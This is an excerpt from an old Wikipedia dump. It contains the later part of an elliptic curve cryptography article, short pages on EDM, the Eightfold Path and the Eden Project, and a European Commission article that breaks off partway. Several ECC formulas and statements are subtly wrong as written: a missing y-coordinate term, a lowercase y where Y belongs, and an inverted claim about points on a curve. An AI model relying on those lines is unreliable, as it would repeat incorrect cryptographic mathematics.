Pairs of affine coordinates &lt;math&gt;(x,y)&lt;/math&gt;, where &lt;math&gt;x \in \mathbb{F}_q&lt;/math&gt; and &lt;math&gt;y \in \mathbb{F}_q&lt;/math&gt;, form a plane &lt;math&gt;\mathbb{F}_q \times \mathbb{F}_q&lt;/math&gt;. Among all of them we consider only those which satisfy the elliptic curve equation and the point at infinity &lt;math&gt;O&lt;/math&gt;. In the prime case the ''defining equation'' of &lt;math&gt;E(\mathbb{F}_p)&lt;/math&gt; is as follows: &lt;math&gt;y^2 = x^3 + a x + b&lt;/math&gt;, where &lt;math&gt;a \in \mathbb{F}_p&lt;/math&gt; and &lt;math&gt;b \in \mathbb{F}_p&lt;/math&gt; are constants such that &lt;math&gt;4 a^3 + 27 b^2 \ne 0&lt;/math&gt;. In the binary case the defining equation &lt;math&gt;E(\mathbb{F}_{2^m})&lt;/math&gt; is  &lt;math&gt;y^2 + x y = x^3 + a x^2 + b&lt;/math&gt;, where &lt;math&gt;a \in \mathbb{F}_{2^m}&lt;/math&gt; and &lt;math&gt;b \in \mathbb{F}_{2^m}&lt;/math&gt; are constants and &lt;math&gt;b \ne 0&lt;/math&gt;. Although the point at infinity &lt;math&gt;O&lt;/math&gt; has no affine coordinates, it is convenient to use some pair of coordinates which does not satisfy the defining equation, for example, &lt;math&gt;O=(0,0)&lt;/math&gt; if &lt;math&gt;b \ne 0&lt;/math&gt; and &lt;math&gt;O=(0,1)&lt;/math&gt; otherwise. According to the [[Hasse's theorem on elliptic curves]] the number of point on a curve is roughly the same as the size of the underlying field: &lt;math&gt;|E(\mathbb{F}_q)| = q + 1 \pm 2\sqrt{q}&lt;/math&gt;.

For every two points on a curve (&lt;math&gt;P \in E(\mathbb{F}_q)&lt;/math&gt; and &lt;math&gt;Q \in E(\mathbb{F}_q)&lt;/math&gt;) it is possible to find the third point &lt;math&gt;R = P + Q \in E(\mathbb{F}_q)&lt;/math&gt; such that certain relations hold for all points on the curve
* &lt;math&gt;(A+B)+C = A+(B+C)&lt;/math&gt;
* &lt;math&gt;A+O = O+A = A&lt;/math&gt;
* there exists &lt;math&gt;(-A)&lt;/math&gt; such that &lt;math&gt;-A + A = A + (-A) = O&lt;/math&gt;
* A+B = B+A
and thus the set of all the points is an additive [[abelian group]] &lt;math&gt;(E(\mathbb{F}), +)&lt;/math&gt;.

We already specified how &lt;math&gt;O&lt;/math&gt; is defined. The negative of the point &lt;math&gt;P = (x,y)&lt;/math&gt; is defined as &lt;math&gt;-P = (x,-y)&lt;/math&gt; for &lt;math&gt;P \in E(\mathbb{F}_p)&lt;/math&gt; and &lt;math&gt;-P = (x,x+y)&lt;/math&gt; for &lt;math&gt;P \in E(\mathbb{F}_{2^m})&lt;/math&gt;. The exact addition rules are as follows:
* if &lt;math&gt;Q  =  O&lt;/math&gt; then &lt;math&gt;P + Q = P&lt;/math&gt;
* if &lt;math&gt;Q  = -P&lt;/math&gt; then &lt;math&gt;P + Q = O&lt;/math&gt;
* if &lt;math&gt;Q  =  P&lt;/math&gt; then &lt;math&gt;P + Q = R&lt;/math&gt;, where
** in the prime case &lt;math&gt;x_R = \lambda^2 - 2 x_P&lt;/math&gt;, &lt;math&gt;y_R = \lambda(x_P - x_R) - y_P&lt;/math&gt;, and &lt;math&gt;\lambda = \frac{3 x_P^2 + a}{2 y_P}&lt;/math&gt;, or
** in the binary case &lt;math&gt;x_R = \lambda^2 + \lambda + a&lt;/math&gt;, &lt;math&gt;y_R = x_P^2 + (\lambda + 1) x_R&lt;/math&gt;, and &lt;math&gt;\lambda = x_P + \frac{y_P}{x_P}&lt;/math&gt;
* if &lt;math&gt;Q \ne P&lt;/math&gt; then &lt;math&gt;P + Q = R&lt;/math&gt;, where
** in the prime case &lt;math&gt;x_R = \lambda^2 - x_P - x_Q&lt;/math&gt;, &lt;math&gt;y_R = \lambda(x_P - x_R) - y_P&lt;/math&gt;, and &lt;math&gt;\lambda = \frac{y_Q-y_P}{x_Q-x_P}&lt;/math&gt;, or
** in the binary case &lt;math&gt;x_R = \lambda^2 + \lambda + x_P + x_Q + a&lt;/math&gt;, &lt;math&gt;\lambda (x_P + x_R) + x_R + y_P&lt;/math&gt;, and &lt;math&gt;\lambda = \frac{y_P + y_Q}{x_P + x_Q}&lt;/math&gt;
[http://www.certicom.com/index.php?action=ecc_tutorial,home Certicom's Online ECC Tutorial] contains a Java applet that can be used to experiment with addition in different EC groups.

We already described the underlying field &lt;math&gt;\mathbb{F}_q&lt;/math&gt; and the group of points of elliptic curve &lt;math&gt;E(\mathbb{F}_q)&lt;/math&gt; but there is yet another mathematical structure commonly used in cryptography &amp;mdash; a [[cyclic group|cyclic]] [[subgroup]] of &lt;math&gt;E(\mathbb{F}_q)&lt;/math&gt;. For any point &lt;math&gt;G&lt;/math&gt; the set &lt;math&gt;(O, G, G+G, G+G+G, G+G+G+G, \ldots)&lt;/math&gt; is a cyclic group. It is convenient to use the following notation: &lt;math&gt;0 G = O&lt;/math&gt;, &lt;math&gt;1 G = G&lt;/math&gt;, &lt;math&gt;2G = G+G&lt;/math&gt;, &lt;math&gt;3G = G+G+G&lt;/math&gt;, et cetera. The calculation of &lt;math&gt;k G&lt;/math&gt;, where &lt;math&gt;k&lt;/math&gt; is an integer and &lt;math&gt;G&lt;/math&gt; is a point, is called ''scalar multiplication''.

==Cryptographic schemes==

Since the the (additive) cyclic group described above can be considered similar to the (multiplicative) group of powers of an integer &lt;math&gt;g&lt;/math&gt; modulo prime &lt;math&gt;p&lt;/math&gt;: &lt;math&gt;(g^0, g, g^2, g^3, g^4, \ldots)&lt;/math&gt;, the problem of finding &lt;math&gt;k&lt;/math&gt; given points &lt;math&gt;k G&lt;/math&gt; and &lt;math&gt;G&lt;/math&gt; is called ''elliptic curve discrete logarithm problem'' (ECDLP). The assumed hardness of several problems related to the [[discrete logarithm]] in the subgroup of &lt;math&gt;E(\mathbb{F}_q)&lt;/math&gt; allows cryptographic use of elliptic curves. Most of the elliptic curve cryptographic schemes are related to the discrete logarithm schemes which were originally formulated for usual modular arithmetic:
* the [[Elliptic Curve Diffie-Hellman]] key agreement scheme is based on the [[Diffie-Hellman]] scheme,
* the [[Elliptic Curve DSA|Elliptic Curve Digital Signature Algorithm]] is based on the [[Digital Signature Algorithm]],
* the [[ECMQV]] key agreement scheme is based on the [[MQV]] key agreement scheme.
Not all the DLP schemes should be ported to the elliptic curve domain. For example, the well known [[ElGamal encryption]] scheme was never standardized by official bodies and should not be directly used over an elliptic curve (the standard encryption scheme for ECC is called Elliptic Curve [[Integrated Encryption Scheme]]). The main reason is that although it is straightforward to convert an arbitrary message (of limited length) to an integer modulo &lt;math&gt;p&lt;/math&gt;, it is not that simple to convert a bitstring to a point of a curve (note for every &lt;math&gt;x_0&lt;/math&gt; there is an &lt;math&gt;y&lt;/math&gt; such that &lt;math&gt;(x,y) \in E(\mathbb{F}_q)&lt;/math&gt;). (Another factor is that ElGamal scheme is vulnerable to chosen-ciphertext attacks.)

There is a vision that ECDLP-based cryptography is going to replace cryptography based on integer factorization (e.g., RSA) and finite-field cryptography (e.g., DSA)&lt;!--terms from SP800-57--&gt;. At the RSA Conference 2005 the [[National Security Agency]] (NSA) announced [[NSA Suite B|Suite B]] which exclusively uses ECC for digital signature generation and key exchange. The suite is intended to protect both classified and unclassified national security systems and information.

Another major source of cryptographic applications of elliptic curves is [[bilinear operator]] (based on the [[Weil pairing]] or the Tate pairing) which allows, for example, to make efficient [[ID-based cryptography]] (see also [http://paginas.terra.com.br/informatica/paulobarreto/pblounge.html The Pairing-Based Crypto Lounge]).

==Implementation considerations==

Although the details of each particular elliptic curve scheme are described in the article referenced above some common implementation considerations are discussed here.

===Domain parameters===

To use ECC all parties must agree on all the elements defining the elliptic curve, that is ''domain parameters'' of the scheme. The field is defined by &lt;math&gt;p&lt;/math&gt; in the prime case and the pair of &lt;math&gt;m&lt;/math&gt; and &lt;math&gt;f&lt;/math&gt; in the binary case. The elliptic curve is defined by the constants &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt; used in its defining equation. Finally, the cyclic subgroup is defined by its ''generator'' (aka. ''base point'') &lt;math&gt;G&lt;/math&gt;. For cryptographic application the order of &lt;math&gt;G&lt;/math&gt;, that is the smallest non-negative number &lt;math&gt;n&lt;/math&gt; such that &lt;math&gt;n G = O&lt;/math&gt;, must be prime. Since &lt;math&gt;n&lt;/math&gt; is the size of a subgroup of &lt;math&gt;E(\mathbb{F}_q)&lt;/math&gt; it follows from the [[Lagrange's theorem (group theory)|Lagrange's theorem]] that the number &lt;math&gt;h = \frac{|E|}{n}&lt;/math&gt; is integer. In cryptographic applications this number &lt;math&gt;h&lt;/math&gt;, called ''cofactor'', at least must be small (&lt;math&gt;h \le 4&lt;/math&gt;) and, preferably, &lt;math&gt;h = 1&lt;/math&gt;. Let us summarize: in the prime case the domain parameters are &lt;math&gt;(p,a,b,G,n,h)&lt;/math&gt; and in the binary case they are &lt;math&gt;(m,f,a,b,G,n,h)&lt;/math&gt;.

Unless there is an assurance that domain parameters were generated by a party trusted with respect to their use, the domain parameters ''must'' be validated before use.&lt;!--TBD: validation procedure--&gt;

The generation of domain parameters is not usually done by each participant since this involves counting the number of points on a curve which is time-consuming and troublesome to implement. As a result several standard bodies published domain parameters of elliptic curves for several common field sizes:
* NIST, [http://csrc.nist.gov/CryptoToolkit/dss/ecdsa/NISTReCur.pdf Recommended Elliptic Curves for Government Use]
* SECG, [http://www.secg.org/download/aid-386/sec2_final.pdf SEC 2: Recommended Elliptic Curve Domain Parameters]
Test vectors are also available [http://www.secg.org/download/aid-390/gec2.pdf].

If one (despite the said above) wants to build his own domain parameters he should select the underlying field and then use one of the following strategies to find a curve with appropriate (i.e., near prime) number of points using one of the following methods:
* select a random curve and use a general point-counting algorithm, for example, [[Schoof's algorithm]] or [[Schoof-Elkies-Atkin algorithm]],
* select a random curve from a family which allows easy calculation of the number of points (e.g., Koblitz curves), or
* select the number of points and generate a curve with this number of points using ''complex multiplication'' technique {{ref|cm}}.

Several classes of curves are weak and shall be avoided:
* curves over &lt;math&gt;\mathbb{F}_{2^m}&lt;/math&gt; with non-prime &lt;math&gt;m&lt;/math&gt; are vulnerable to [[Weil descent]] attacks {{ref|gs}}, {{ref|ghs}}.
* curves such that &lt;math&gt;n&lt;/math&gt; divides &lt;math&gt;q^B-1&lt;/math&gt; for small &lt;math&gt;B&lt;/math&gt; (say, &lt;math&gt;B &lt; 20&lt;/math&gt;) are vulnerable to MOV attack {{ref|mov}} which applies usual DLP in a small degree extension field of &lt;math&gt;\mathbb{F}_q&lt;/math&gt; to solve ECDLP,
* curves such that &lt;math&gt;|E(\mathbb{F}_q)| = q&lt;/math&gt; are vulnerable to the attack that maps the points on the curve to the additive group of &lt;math&gt;\mathbb{F}_q&lt;/math&gt; {{ref|semaev}}, {{ref|smart}}, {{ref|sa}}.

===Key sizes===

Since all the fastest known algorithms that allow to solve the ECDLP ([[baby-step giant-step]], [[Pollard's rho algorithm for logarithms|Pollard's rho]], etc.), need &lt;math&gt;O(\sqrt{n})&lt;/math&gt; steps, it follows that the size of the underlying field shall be roughly twice the security parameter. For example, for 128-bit security one needs a curve over &lt;math&gt;\mathbb{F}_q&lt;/math&gt;, where &lt;math&gt;q \approx 2^{256}&lt;/math&gt;. This can be contrasted with finite-field cryptography (e.g., [[Digital Signature Algorithm|DSA]]) which requires{{ref|SP800-57}} 3072-bit public keys and 256-bit private keys, and integer factorization cryptography (e.g., [[Rivest-Shamir-Adleman|RSA]]) which requires 3072-bit public and private keys. The hardest ECC scheme (publicly) broken to date has 109-bit key (that is about 55 bits of security), it was broken near the beginning of [[2003]] using over 10,000 [[Pentium]] class PCs running continuously for over 540 days (see [http://www.certicom.com/index.php?action=company,press_archive&amp;view=121]).

===Projective coordinates===

A close examination of the addition rules shows that in order to add two point one needs not only several additions and multiplications in &lt;math&gt;\mathbb{F}_q&lt;/math&gt; but also an inversion operation. The inversion (for given &lt;math&gt;x \in \mathbb{F}_q&lt;/math&gt; find &lt;math&gt;y \in \mathbb{F}_q&lt;/math&gt; such that &lt;math&gt;x y = 1&lt;/math&gt;) is one-two orders of magnitude slower {{ref|hdcm}} than multiplication. Fortunately, points on a curve can be represented in a different coordinate systems which do not require an inversion operation to add two points. Several such systems were proposed: in the ''projective'' system each point is represented by three coordinates &lt;math&gt;(X,Y,Z)&lt;/math&gt; using the following relation: &lt;math&gt;x = \frac{X}{Z}&lt;/math&gt;, &lt;math&gt;y = \frac{y}{Z}&lt;/math&gt;; in the ''Jacobian'' system a point is also represented with three coordinates &lt;math&gt;(X,Y,Z)&lt;/math&gt; by a different relation is used: &lt;math&gt;x = \frac{X}{Z^2}&lt;/math&gt;, &lt;math&gt;y = \frac{y}{Z^3}&lt;/math&gt;; in the ''modified Jacobian'' system  the same relations are used but four coordinates are stored and used for calculations &lt;math&gt;(X,Y,Z,aZ^4)&lt;/math&gt;; and in the ''Chudnovsky Jacobian'' system five coordinates are used &lt;math&gt;(X,Y,Z,Z^2,Z^3)&lt;/math&gt;. Note that there are may be different naming conventions, for example, [[IEEE P1363]]-2000 standard uses &quot;projective coordinates&quot; to refer to what is commonly called Jacobian coordinates.&lt;!--TBD: insert formulas--&gt; An additional speed-up is possible if mixed coordinates are used {{ref|cmo}}.

===Fast reduction (NIST curves)===

Reduction (which is needed for addition and multiplication) modulo &lt;math&gt;p&lt;/math&gt; can be executed much faster if the prime &lt;math&gt;p&lt;/math&gt; is a pseudo-[[Mersenne prime]] that is &lt;math&gt;p \approx 2^d&lt;/math&gt;, for example, &lt;math&gt;p = 2^{521} - 1&lt;/math&gt; or &lt;math&gt;p = 2^{256} - 2^{32} - 2^9 - 2^8 - 2^7 - 2^6 - 2^4 - 1&lt;/math&gt;. Compared to Barrett reduction there can be an order of magnitude speed-up {{ref|bhlm}}. The curves over &lt;math&gt;\mathbb{F}_p&lt;/math&gt; for with pseudo-Mersenne &lt;math&gt;p&lt;/math&gt; are recommended by NIST. Yet another advantage of the NIST curves is the fact that they use &lt;math&gt;a = -3&lt;/math&gt; which improves addition in Jacobian coordinates.

===Side-channel attacks===

Unlike DLP systems (where it is possible to use the same procedure for squaring and multiplication) the EC addition is significantly different for doubling (&lt;math&gt;P = Q&lt;/math&gt;) and general addition (&lt;math&gt;P \ne Q&lt;/math&gt;). Consequently, it is important to counteract [[side channel attack]]s (e.g., timing and simple power analysis attacks) using, for example, fixed pattern window (aka. comb) methods {{ref|hpb}} (note that this does not increase the computation time).

===Patents===

Most of ECC (e.g., ECDH, ECIES, ECDSA) is not encumbered by patents whereas some other schemes (ECMQV) and some implementation techniques are covered. See [[ECC patents]] for details.

===Open-source implementations===

* [http://www.openssl.org/ OpenSSL: Open source library written in C with ECC library]
* [http://www.eskimo.com/~weidai/cryptlib.html Crypto++: Open source Crypto Package written in C++ with ECC library]
* [http://libecc.sourceforge.net/ libecc: Open source ECC library]

==References==
* {{note|koblitz}} N. Koblitz, ''Elliptic curve cryptosystems'', in ''Mathematics of Computation'' 48, 1987, pp. 203&amp;ndash;209
* {{note|miller}} V. Miller, ''Use of elliptic curves in cryptography'', CRYPTO 85, 1985.
* {{note|cm}} G. Lay and H. Zimmer, ''Constructing elliptic curves with given group order over large finite fields,'' Algorithmic Number Theory Symposium, 1994.
* {{note|SP800-57}} NIST, [http://csrc.nist.gov/publications/nistpubs/800-57/SP800-57-Part1.pdf Recommendation for Key Management &amp;mdash; Part 1: general],  Special Publication 800-57, August 2005.
* {{note|hdcm}} Y. Hitchcock, E. Dawson, A. Clark, and P. Montague, [http://anziamj.austms.org.au/V44/CTAC2001/Hitc/Hitc.pdf Implementing an efficient elliptic curve cryptosystem over GF(p) on a smart card], 2002.
* {{note|gs}} S.D. Galbraith and N.P. Smart, ''A cryptographic application of the Weil descent,'' Cryptography and Coding, 1999.
* {{note|ghs}} P. Gaudry, F. Hess, and N.P. Smart, [http://www.hpl.hp.com/techreports/2000/HPL-2000-10.pdf Constructive and destructive facets of Weil descent on elliptic curves], Hewlett Packard Laboratories Technical Report, 2000.
* {{note|semaev}} I. Semaev, ''Evaluation of discrete logarithm in a group of P-torsion points of an elliptic curve in characteristic P,'' Mathematics of Computation, number 67, 1998.
* {{note|smart}} N. Smart, ''The discrete logarithm problem on elliptic curves of trace one,'' Journal of Cryptology, Volume 12, 1999.
* {{note|sa}} T. Satoh and K. Araki, ''Fermat quotients and the polynomial time discrete log algorithm for anomalous elliptic curves,'' Commentarii Mathematici Universitatis Sancti Pauli, Volume 47, 1998.
* {{note|mov}} A. Menezes, T. Okamoto, and S.A. Vanstone, ''Reducing elliptic curve logarithms to logarithms in a finite field,'' IEEE Transactions on Information Theory, Volume 39, 1993.
* {{note|cmo}} H. Cohen, A. Miyaji, T. Ono, [http://citeseer.ist.psu.edu/277895.html Efficient Elliptic Curve Exponentiation Using Mixed Coordinates], ASIACRYPT 1998.
* {{note|bhlm}} M. Brown, D. Hankerson, J. Lopez, and A. Menezes, [http://www.eng.auburn.edu/users/hamilton/security/pubs/Software_Implementation_of_the_NIST_Elliptic.pdf Software Implementation of the NIST Elliptic Curves Over Prime Fields].
* {{note|hpb}} M. Hedabou, P. Pinel, and L. Beneteau, [http://eprint.iacr.org/2004/342.pdf A comb method to render ECC resistant against Side Channel Attacks], 2004.

==See also==
* [[SECG|Standards for Efficient Cryptography Group (SECG)]], [http://www.secg.org/download/aid-385/sec1_final.pdf SEC 1: Elliptic Curve Cryptography], Version 1.0, September 20, 2000.
* D. Hankerson, A. Menezes, and S.A. Vanstone, ''Guide to Elliptic Curve Cryptography'', Springer-Verlag, 2004.
* I. Blake, G. Seroussi, and N. Smart, ''Elliptic Curves in Cryptography'', Cambridge University Press, 1999.
* L. Washington, ''Elliptic Curves: Number Theory and Cryptography'', Chapman &amp; Hall / CRC, 2003.

{{Public-key cryptography}}

[[Category:Cryptography]]
[[Category:Asymmetric-key cryptosystems]]

[[de:Elliptische-Kurven-Kryptosystem]]
[[es:Criptografía de curva elíptica]]
[[fr:Cryptographie sur les courbes elliptiques]]
[[ko:타원곡선암호]]
[[ja:楕円曲線暗号]]
[[zh:椭圆曲线密码学]]</text>
    </revision>
  </page>
  <page>
    <title>EDM</title>
    <id>9967</id>
    <revision>
      <id>24889681</id>
      <timestamp>2005-10-06T11:39:46Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">* [[Early day motion]]
* [[Earthquake disaster mitigation]]
* [[Electric dipole moment]]
* [[Electrical discharge machining]]
* [[Electronic dance music]]
* [[Electronic distance meter]]
* [[Electronic document management]]
* [[Engineering design management]]
* [[Engineering drawing management]]
* [[Environmental design and management]]
* [[Department of Essential Drugs and Medicines]] of the [[World Health Organization]]
* [[Enterprise Data Management]]
* In [[information technology]], EDM stands for [[Enterprise Decision Management]]

{{TLAdisambig}}

[[sl:EDM]]</text>
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    <title>Everly Brothers</title>
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      <timestamp>2002-10-12T23:16:41Z</timestamp>
      <contributor>
        <username>HollyAm</username>
        <id>4551</id>
      </contributor>
      <comment>redirect to The Everly Brothers</comment>
      <text xml:space="preserve">#REDIRECT [[The Everly Brothers]]</text>
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  </page>
  <page>
    <title>Eightfold Path</title>
    <id>9970</id>
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      <timestamp>2006-02-09T18:33:29Z</timestamp>
      <contributor>
        <ip>24.148.162.127</ip>
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      <comment>Modifying for Buddha Eightfold path 3</comment>
      <text xml:space="preserve">The '''Eightfold Path''' is a method of [[policy analysis]] developed by Eugene Bardach, a professor at the [[Goldman School of Public Policy]] at the [[University of California, Berkeley]]. It is outlined in his seminal work, ''A Practical Guide for Policy Analysis: The Eightfold Path to More Effective Problem Solving'', which is now in its second edition. The book is a integral part of [[public policy]] and [[public administration]] programs around the world.

Bardach's procedure is as follows:

1. Define the Problem

2. Assemble Some Evidence

3. Construct the Alternatives

4. Select the Criteria

5. Project the Outcomes

6. Confront the Trade-offs

7. Decide!

8. Tell Your Story

A possible ninth-step, based on Bardach's own writing, might be &quot;Repeat Steps 1 - 8 as Necessary.&quot;

The '''Eightfold Path''' is also the [[Noble Eightfold Path]], the essence of [[Gautama Buddha]]'s teachings of right understanding, right thought, right speech, right action, right livelihood, right effort, right meditation and right concentration.</text>
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  <page>
    <title>Eden Project</title>
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      <comment>narrow and add categories, + see also</comment>
      <text xml:space="preserve">[[Image:EdenProject2005-07-30.jpg|thumb|right|250px|The Eden Project]]
[[Image:Eden_project_tropical_biome.jpg|thumb|right|250px|Inside the tropical Biome]]

The '''Eden Project''' is a project conceived by [[Tim Smit]] and designed by the architects [[Nicholas Grimshaw|Grimshaw]] to construct and maintain a large-scale environmental complex on a property located about 8 km (5 mi) from [[St Austell]] in [[Bodelva]], [[Cornwall]], [[UK]]. Although relatively new, the project has quickly become one of the most popular [[visitor attraction]]s in the [[United Kingdom]]. The complex includes two giant, [[Transparency (optics)|transparent]] [[dome]]s, each emulating a natural [[biome]], that house [[plant]] [[species]] from around the world. The first emulates a tropical environment, the other a warm temperate, Mediterranean-type environment. The project took 2½ years to construct and opened to the public in [[March 2001]]. The project is ongoing, and part of its purpose is to see how the different [[biome]]s develop over time. 

'''The Core''' is the latest addition to the site, opening in September 2005. It provides the Eden Project with a much-needed education facility, incorporating classrooms and exhibition spaces designed to help communicate Eden’s central message about the relationship between people and plants. Accordingly the building has taken its inspiration from plants, most noticeably in the form of the soaring timber roof, which gives the building its distinctive shape. 

Grimshaw developed the geometry of the copper-clad roof in collaboration with a sculptor, Peter Randall-Page, and Mike Purvis of structural engineers SKM Anthony Hunts. It is derived from Phyllotaxis, which is the mathematical basis for nearly all plant growth; the ‘opposing spirals’ found in many plants such as the seeds in a sunflower’s head, pinecones and pineapples. 


== Layout ==
The project is constructed in a disused [[china clay]] [[quarry]]. Visitors approach along roads to car parks at the top of the quarry and walk or bus to the entrance area, half-way down a gently sloping side. The entrance area includes the usual restaurant and gift shop, implemented in a more interesting way than is common. The entrance area also has some informational exhibits, some of which are animated.

Once into the attraction, there is a meandering path with views of the two biomes and of interesting planted landscapes (including, for example, colourful patterned areas which upon inspection prove to be vegetable gardens) and [[sculpture]]s, such as a giant [[bee]] and towering [[robot]]-themed creature created from old electrical appliances.


==The steel and plastic biomes==
[[Image:Cornwall,_eden_project_tropical.jpg|thumb|left|280px|Inside the tropical Biome]]

At the bottom are the two biomes. The larger, the Humid Tropics Biome, is for [[tropical]] plants, such as fruiting [[banana]] trees, coffee, rubber and giant [[bamboo]], and is kept at a tropical temperature. The smaller of the two, the Temperate Biome, which will eventually have its content split into a third Biome yet to be built, houses [[temperate]] and [[arid]] plants and various pieces of sculpture. 

The biomes are constructed from a tubular steel frame with mostly hexagonal transparent panels (there are a few pentagonal ones) made from a complex plastic known as [[ETFE]] (it was decided very early on that glass was out of the question, being too heavy and potentially dangerous). The 'panes' of the biome are created from a triple layer of thin [[UV]]-transparent ETFE [[membrane|film]], inflated to create a large space between the two sides and trapping heat like double-glazed windows. The plasic is resistant to most stains, which simply wipe off in the rain, although if required, cleaning is performed by [[Abseil|abseilers]]. Although the plastic is prone to punctures, these can be fixed with ETFE tape.  The structure is completely self-supporting, with no internal supports, and is based around a [[geodesic dome|geodesic]] structure. The panels vary in size up to 9m across, with the largest at the top of the structure.

==Environmental study and concerns==
All known [[medicine|medicinal]] uses for the plants are listed alongside them. Part of the Eden Project is serious [[natural environment|environmental]] and [[education|educational]] study, aiming to safeguard our planet and prevent mankind destroying benefits provided by nature by showcasing the interdependence of plants and people. Large displays and 'hands on' attractions aim to be both fun and educational, with new developments such as the Eden Education Centre proving to be a place to have fun, yet learn important things about our planet and our survival.

The Eden Project is an extremely environmentally aware project. There are many attractions and information signs on [[Global Warming]] and why plants are so important to our way of life (shown in a rather controversial and entertaining animation displaying what our world would be like without plant life). The Eden Project recycles as much as possible, with all litter areas split into five or more compartments for plastic, food, paper and other general waste, which is all recycled. The massive amounts of water required to create the humid conditions of the Tropical Biome, as well as to serve the toilet facilities, are all sanitized rain water that would otherwise collect at the bottom of the quarry. The 'Eden Shop' also boasts a huge array of recycled waste, such as pencils made of plastic vending machine cups, and mouse mats made of old tyres or circuit boards, as well as 'grow your own' kits. 

Mr. Smit states that if the project becomes, or is merely seen to be, a [[theme park]], then it has failed.

==Recent events==
The Eden Project hosted the [[Live 8 concert, Eden Project | &quot;Africa Calling&quot; concert]] of the [[Live 8]] concert series on [[July 2]] [[2005]]. It was also used as a filming location for the [[2002]] [[James Bond]] film, ''[[Die Another Day]]''.

==Books==
The Eden Project has also published a number of books.

(list is incomplete)

*''Fencing Paradise: Exploring the Gardens of Eden'' [[Richard Mabey]] (2005) ISBN 1903919312
*''The Architecture of Eden'' by Hugh Pearman and Andrew Whalley with a foreword by Sir Nicholas Grimshaw (2003) ISBN 1903919150

==See also==
* [[Closed ecological system]]
* [[Ecosystem]]
* [[Vivarium]]

== External links ==
*[http://www.edenproject.com/ EdenProject.com] - The project's official website
*[http://www.grimshaw-architects.com/ Grimshaw's website] 
*[http://www.cornwall365.co.uk/cornwall/places,27,Eden-Project.html Eden Project photos from Cornwall 365]
*[http://www.viewsofcornwall.com/viewphotoplace/6/ Photographs of Eden Project photos from Views Of Cornwall]
*[http://www.eden-project-accommodation.com/ Eden Project Accommodation] - Resources about the project including an image gallery, 360 degree virtual tour and accommodation listings.

[[Category:Visitor attractions in Cornwall]]
[[Category:Gardens in Cornwall]]
[[Category:Sustainability]]
[[Category: Environmental design]]
[[Category:Building engineering]]

[[de:Eden Project]]
[[kw:Edenva]]</text>
    </revision>
  </page>
  <page>
    <title>European Commission</title>
    <id>9974</id>
    <revision>
      <id>40293589</id>
      <timestamp>2006-02-19T16:17:28Z</timestamp>
      <contributor>
        <ip>69.161.64.67</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of the European Union}}
The '''European Commission''' (formally the '''Commission of the European Communities''') is the [[executive (government)|executive]] body of the [[European Union]]. Alongside the [[European Parliament]] and the [[Council of the European Union]], it is one of the three main institutions governing the Union. 

[[Image:Berlaymont.jpg|thumb|left|200px|The [[Berlaymont building|Berlaymont]] in [[Brussels]] houses the European Commission]]
Its primary roles are to propose and implement legislation, and to act as 'guardian of the [[EU_treaties|treaties]]' which provide the legal basis for the EU. The role of the European Commission has many parallels with the executive body of a national government, but also differences (see below for details). 

The Commission consists of 25 Commissioners, one from each member state of the EU, supported by an administrative body of several thousand European civil servants divided into departments called [[Directorate-General]]. The term &quot;the Commission&quot; is generally used to refer both to the administrative body in its entirety, and to the team of Commissioners who lead it. 

Unlike the [[Council of the European Union]], the Commission is intended to be a body independent of member states. Commissioners are therefore not permitted to take instructions from the government of the country that appointed them, but are supposed to represent the interests of the citizens of the EU as a whole.

The Commission is headed by a [[President of the European Commission|President]] (currently [[José Manuel Durão Barroso]]). Its headquarters are located in [[Brussels]] and its [[working language]]s are [[English language|English]], [[French language|French]] and [[German language|German]]. 



== Responsibilities of the Commission ==
The Commission differs from other institutions in the EU system through its '''power of initiative'''. This means that only the Commission has the authority to ''initiate'' legislation in the areas known as the &quot;first pillar&quot;. However, the [[Council of the European Union]] and the [[European Parliament]] are both able to formally request that the Commission legislate on a particular topic. In the areas that fall within the &quot;second pillar&quot; ([[Common Foreign &amp; Security Policy (EU)|foreign policy and defence]]) and &quot;third pillar&quot; ([[Police and Judicial Co-operation in Criminal Matters|criminal law]]), the Commission shares the power of initiating legislation with member states. 

The Commission also takes the role of '''guardian of the treaties''', which includes taking responsibility for initiating infringement proceedings at the [[European Court of Justice]] against member states and others who it considers to have breached the EU treaties and other community law. 

The Commission negotiates international [[trade]] agreements (in the [[World Trade Organization]]) and other international agreements on behalf of the EU. It closely co-operates in this with the [[Council of the European Union]].

The Commission is responsible for adopting technical measures to implement legislation adopted by the Council and, in most cases, the Parliament. This legislation is subject to the approval of committees made up of representatives of member states. This process is sometimes known by the jargon term of [[comitology]].

The Commission also [[regulation|regulates]] [[competition]] in the Union, vetting all mergers with Community-wide effects and initiating proceedings against companies which violate EU competition laws.

== Appointment and makeup of the Commission ==

=== President and Commissioners ===
{{main|President of the European Commission}} (includes table of holders and dates)
''Main articles: [[Holstein Commission]], [[Rey Commission]], [[Malfatti Commission]], [[Mansholt Commission]], [[Ortoli Commission]], [[Jenkins European Commission |Jenkins Commission]], [[Thorn Commission]], [[Delors Commission]], [[Santer Commission]], [[Marín Commission]], [[Prodi Commission]], [[Barroso Commission]]''

The President of the Commission is chosen by the [[European Council]], but the choice must be approved by the [[European Parliament]]. The remaining Commissioners are appointed by the member states in agreement with the President, who must decide the role of each Commissioner. Finally, the new Commission as a whole must be approved by the Parliament.

In addition to its role in approving a new Commission, the European Parliament has the power at any time to force the entire Commission to resign through a vote of no confidence. (This requires a vote that makes up at least two-thirds of those voting and a majority of the total membership of the Parliament. While it has never used this power, it threatened to use it against the Commission headed by [[Jacques Santer]] in 1999, with the result that the [[Resignation of the Santer Commission|whole Commission resigned of its own accord]]).

The present Commission, the [[Barroso Commission]], consists of 25 Commissioners. This Commission will serve from [[22 November]], [[2004]] to [[31 October]], [[2009]].

The [[Enlargement of the European Union|enlargement of the Union]] on [[1 May]] [[2004]] increased the number of member states from 15 to 25, and had an effect on the make-up of the Commission. Prior to this date, there were 20 Commissioners. In the months after May 2004 the size of the Commission was temporarily increased to 30 members - consisting of the 20 Commissioners already in post, plus one from each of the 10 acceding member states. The number was reduced to 25, with one Commissioner from each member state, when the Barroso commission took office in November 2004.

If the new [[Treaty establishing a Constitution for Europe]] is adopted, the size of the Commission will be further reduced. Member states will take it in turns to nominate Commissioners, with any given state making a nomination on two out of every three occasions that a new Commission is to be appointed.

=== Directorates-General ===
